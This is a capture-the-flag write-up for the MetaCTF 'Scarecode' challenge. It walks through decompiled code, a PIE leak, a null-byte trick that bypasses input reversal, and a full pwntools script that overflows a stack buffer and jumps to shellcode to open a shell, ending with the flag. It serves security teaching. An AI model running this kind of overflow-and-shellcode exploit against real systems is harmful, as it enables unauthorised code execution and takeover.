Scarecode
Trick or Treat? See if you can scare this binary into giving you the flag…
We’re provided a binary, that when opened in Ghidra (or your decompiler of choice), looks something like this:
undefined8 real_main(void)
{
bool bVar1;
int user_choice;
short local_94;
setup();
puts("Welcome to Scarecode!");
do {
while( true ) {
puts("Trick or treat? (q to quit)");
__isoc99_scanf(&prompt_format,&user_choice);
if ((user_choice != 0x63697274) || (local_94 != 0x6b)) break;
LAB_00101197:
trick();
}
if (user_choice == 0x63697254) {
if (local_94 != 0x6b) goto badChoice;
goto LAB_00101197;
}
if (user_choice == 0x43495254) {
if (local_94 == 0x4b) goto LAB_00101197;
LAB_0010115d:
if (user_choice == 0x61657254) {
if (local_94 == 0x74) goto treat;
bVar1 = true;
}
else {
bVar1 = user_choice != 0x41455254;
}
if ((bVar1) || (local_94 != 0x54)) {
puts("Neither trick nor treat, you say? Well, that\'s not very festive.");
return 1;
}
}
else {
badChoice:
if ((user_choice != 0x61657274) || (local_94 != 0x74)) goto LAB_0010115d;
}
treat:
__printf_chk(1,"Have the address of main, as a treat! %p\n",real_main);
} while( true );
}
There’s a few things to note here. It asks for input in a continuous loop, and validates against trick or treat. If treat, it prints the address of our main function. If trick, it enters a separate function, which looks like:
void trick(void)
{
char cVar1;
size_t sVar2;
char *pcVar3;
char *pcVar4;
char *pcVar5;
undefined8 uStack_80;
char name [112];
uStack_80 = 0x101356;
puts("Trick you say?, tell me your name");
uStack_80 = 0x10136a;
__isoc99_scanf(&name_format,name);
uStack_80 = 0x101372;
sVar2 = strlen(name);
if (sVar2 >> 1 != 0) {
pcVar3 = name + (sVar2 - 1);
pcVar4 = name;
do {
cVar1 = *pcVar4;
pcVar5 = pcVar4 + 1;
*pcVar4 = *pcVar3;
*pcVar3 = cVar1;
pcVar3 = pcVar3 + -1;
pcVar4 = pcVar5;
} while (pcVar5 != name + (sVar2 >> 1));
}
uStack_80 = 0x1013b8;
__printf_chk(1,"OOOooooOOOOOOOoooooOOO %s olleH OOOooooOOOOOOOoooooOOO\n",name);
return;
}
At this point, it’s relatively clear what needs to happen. Firstly, we have a leak of main, which probably indicates PIE/ASLR is enabled. To confirm, we can run checksec from pwntools:
checksec scarecode
[*] '/Users/landoncrabtree/Downloads/metactf/scarecode_chal/scarecode'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
And as we guessed, there is PIE. But, we also have an executable stack! Additionally, back to our trick() function: we allocate a buffer of 112 bytes, but our scanf call does not specify a length in the format. This means, we can scan an arbitrary number of bytes into the 112 byte buffer: a typical stack-based buffer overflow. The only “gotcha” is that it takes your input and reverses it. However, we can get around this by simply making our payload start with a null byte (0x00), as strlen will detect it and assume that’s the end of the string (thus, not reverse anything), but scanf will scan the entire thing in because it stops at newline, not null terminator. So, our basic attack plan is:
- Leak the address of main to determine our PIE base
- Overflow the buffer to return to RIP
- Send a
jmp rspROP gadget and our shellcode
#!/usr/bin/env python3
import argparse
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.update(arch="amd64", os="linux")
BIN_PATH = "./scarecode"
REAL_MAIN_OFF = 0x1010E0 - 0x100000 # calculate ghidra image base to get raw offset
JMP_RSP_OFF = 0x13E8 # ROPgadget --binary scarecode | grep jmp rsp
OFFSET_TO_RIP = 0x78 # 0x70 buffer + 0x8 saved r12
def start():
parser = argparse.ArgumentParser()
parser.add_argument("--remote", nargs=2, metavar=("HOST", "PORT"))
parser.add_argument("--gdb", action="store_true")
args = parser.parse_args()
if args.remote:
io = remote(args.remote[0], int(args.remote[1]))
else:
io = process(BIN_PATH)
if args.gdb:
gdb.attach(io)
return io
def leak_pie(io):
io.recvuntil(b"Trick or treat?")
io.sendline(b"treat")
line = io.recvline_contains(b"address of main").strip()
leak_str = line.split()[-1]
leak = int(leak_str, 16)
pie = leak - REAL_MAIN_OFF
return pie
def build_payload(pie_base):
jmp_rsp = pie_base + JMP_RSP_OFF
sc = asm(shellcraft.linux.sh())
prefix = b"B\x00" # force strlen to stop early; reverse won’t touch overflow region
pad = b"A" * (OFFSET_TO_RIP - len(prefix))
payload = prefix + pad + p64(jmp_rsp) + sc
return payload
def main():
io = start()
pie_base = leak_pie(io)
io.sendline(b"trick")
io.recvuntil(b"name")
payload = build_payload(pie_base)
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()MetaCTF{$p00ky_sc4ry_sh3llet0ns}